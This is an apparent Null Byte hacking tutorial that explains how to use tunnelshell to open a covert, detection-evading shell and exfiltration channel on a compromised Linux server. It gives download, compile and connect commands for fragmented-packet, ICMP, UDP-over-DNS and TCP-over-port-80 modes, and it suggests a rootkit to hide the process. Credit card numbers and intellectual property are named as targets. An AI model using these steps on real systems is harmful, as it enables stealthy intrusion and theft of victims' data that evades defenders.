Hack Like a Pro: How to Create a Nearly Undetectable Covert Channel with Tunnelshell « Null Byte :: WonderHowTo

Welcome back, my rookie hackers!Most often, the professional hacker is seeking protected information from the target system or network. This might be credit card numbers, personally identifiable information, or intellectual property (formulas, plans, blueprints, designs, etc.). Most of myNull Byte guideshave been focused on gettingintothe system, but this only begs the question—"what do I do when I get there?"If a hacker is pursuing information or data, they need a way to get the data out of the target system or network. Optimally, they want to get the data out in a way that won't be detected by the security devices or the security admins. In this tutorial, we will look at creating a covert channel that we can use to extract the data with little chance of being detected using a tool called tunnelshell.The Basics of Tunnelshell & How It WorksTunnelshell is a sweet, little program that only works on compromisedLinux/Unix servers. As many large corporate and institutional servers are running some flavor from the Unix family (AIX, HP-UX, Solaris, IRIS, Linux, etc.), there should not be a significant impediment to using tunnelshell for exfiltrating (removing) data.Of course, it won't work on extracting data from your ex-wife's or girlfriend's computer, not even a small-to-medium sized company using one of the many versions of Windows Server (2003, 2008, 2012), but it will work on the big boy servers, which is where all the valuable goodies are.It operates in the familiar client/server architecture like most Linux/Unix applications. The beauty of tunnelshell is that it will work over multiple protocols, including TCP, UDP, ICMP, and RawIP. In addition, it is able to fragment packets to get past firewalls and intrusion detection systems.In TCP and UDP modes, it does not require binding to a socket or port, so when the victim runs netsat, no open port will appear (but it will appear in the process list). In TCP mode, no three-way handshake (SYN, SYN-ACK, ACK) is executed, so no IP address will be logged.In ICMP mode, tunnelshell uses the ICMP Echo Request/Echo Reply (Type 8 and Type 0) to transport the data. Therefore, it appears to be a continuous ping running between the systems. Although many routers and firewalls block ICMP coming IN, they usually do not block ICMP going OUT as users and admins need to use ping to find active hosts.Using Tunnelshell for an Undetectable Covert ChannelUnfortunately,Kalidoes not include tunnelshell. I think you can understand that the developers of Kali could not includeallof the hacking and security tools out there. In this tutorial, I will be creating a tunnel between our Kali system and a compromised Linux system. In this case, I will useBackTrack 5v3(which is built on Ubuntu) as my victim, but any of the UNIX/Linux flavors will work as an adequate victim.Step 1: Fire Up KaliFire up Kali and let's download tunnelshell. Normally, we could use theapt-getor Kali's graphicalAdd/Remove Softwareutility, but since tunnelshell is not in Kali's repository, that's not an option. There are numerous ways we could download it, but let's use the old-fashioned way of simply going to website and downloading it.Navigate toPacket Storm Securityto download tunnelshell. Notice that it is .tgz file, which means that it is a compressed .tar file. This means that we will need to untar it and uncompress it before we can use it.In the screenshot below, I have downloaded it to BackTrack. Obviously, if this was the victim system, this would not be easiest or most stealthy way to get tunnelshell on that system. In reality, I could TFTP it from my attacking system to the victim, or if I haveMetasploit's Meterpreteron the victim, I have the built-inuploadcommand there.In the screenshot below, you can see that I have successfully downloaded tunnelshell to the victim.I need to also download it to my Kali system. I have highlighted the tunnelshell file in my root user directory. It doesn't matter what directory you put it in, just remember where you put it and run the commands from that directory.Step 2: Untar & Uncompress TunnelshellTo unpack tunnelshell, type:kali > tar xvfz tunnelshell_2.3.tgzTo compile our new tool, simply type:kali > makeStep 3: Activate Tunnelshell on the VictimNow that we have downloaded and compiled tunnelshell on the victim system, the only thing we need to do is type:kali > ./tunneldThis opens up the server on the victim system waiting for our connection from the client (the attacker). Since we did not use any switches in activating tunnelshell, it runs in the default configuration using packet fragmentation.The beauty of this default configuration is that it sends fragmented packets (packets are broken up into pieces that are reassembled at the destination—a tried and true method of evading detection) that can bypass without detection nearly every firewall and IDS.Step 4: Connect to the TunnelNow, we only need to connect to the tunnelshell daemon (a background service) on the victim. The syntax is simple, we simply type:kali > ./tunnel -t frag 192.168.89.191-t- this switch precedes thetypeof tunnelfrag- defines the type192.168.89.191- the IP address of the victim where the tunnelshell server is runningWhen we do this, tunnelshell connects, but does not give us a command prompt, but rather a blank line. We can then type any Linux command and it returns output as if we were at a Linux prompt.So, below, I typedpwd(present working directory) and it returned the directory that the tunnel is running on the victim,/tmp. When I typels -l, it provides with a long listing of the /tmp directory. I can then go ahead and type any Linux command from this shell.Step 5: Trying to Detect Tunneshell on the VictimNow that we have established a tunnel between the victim and the attacker, let's check to see whether the victim can detect our tunnel. Let's go to the victim system (in this case BackTrack on Ubuntu) and see whether, as a sysadmin, we can detect the tunnel.First, let's try netstat, which should show us all current connections to our computer. When we typenetstaton the victim, you can see many connections, but not our tunnelshell.The one weakness of tunnelshell is that unless we can embed in arootkitthat will hide its process such as with Knark, it does appear on our process list as shown below.Other ConfigurationsHere we used tunnelshell in its default configuration using packet fragmentation, but tunnelshell is also able to use ICMP, TCP, UDP and RawIP, all of which might be more useful depending upon the circumstances.ICMPTo run tunnelshell in ICMP mode, you can start the server with:./tunneld -t icmp -m echo-replyAnd the client with:./tunnel -t icmp -m echo-reply, echo <IPaddressofvictim>UDPTo run tunnelshell in UDP mode over DNS, you can start the server with:./tunneld -t udp -p 53, 2000And the client with:./tunnel -t udp -p 53, 2000 <IPaddressofvictim>TCPTo start tunnelshell in TCP mode over port 80, you can start the server with:./tunneld -t tcp -p 80, 2000And the client with:./tunnel -t tcp -p 80, 2000 <IPaddressofvictim>Keep coming back, my rookie hackers, as we explore more techniques and tools of the hacker universe!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHow To:Hack a Hard Drive into a Hidden Flash Drive, Cell Phone Charger & More!Galaxy S8 Oreo Update:Notification Channels Bring Granular Controls for AlertsHow To:Use multiple output channels in Soundtrack ProHow To:Conduct a covert surveillance with audioHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedYouTube 101:How to Manage Your NotificationsHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)Hack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeNews:Apple Just Released iOS 12.3 Public Beta 1 for iPhone, Includes Updated TV App with Subscription ChannelsHow To:Conduct a covert mobile surveillanceAdobe Premiere Clip 101:Starting a Freeform Project You Can Edit YourselfHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Cut a Straight Line with a Power Saw.How To:Conduct a covert surveillance with videoHow To:Use Knoll Light Factory Pro After Effects pluginNews:Here's How the Weather Channel Is Using Augmented Reality to Make Us All SaferHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesGoodnight Byte:Hack Our IRC Bot to Issue CommandsHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Create a Multi-Channel Music Sequencer in MinecraftNews:Overhead Camera Boom Made with PVC PipeNews:Minecraft World's Weekly Workshop: Creating a Multi-Channel Music SequencerNews:A Computer Game Inside MinecraftHow To:The Official Google+ Insider's Guide IndexNews:What does Pro Tools HD Native mean for you?How To:Draw Ferb of Disney Channel's Phineas and FerbNews:Achieve Results YouTube ChannelHow To:Remove Gamers Unite from your Facebook AccountWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)Goodnight Byte:Coding an IRC Bot in Python (For Beginners)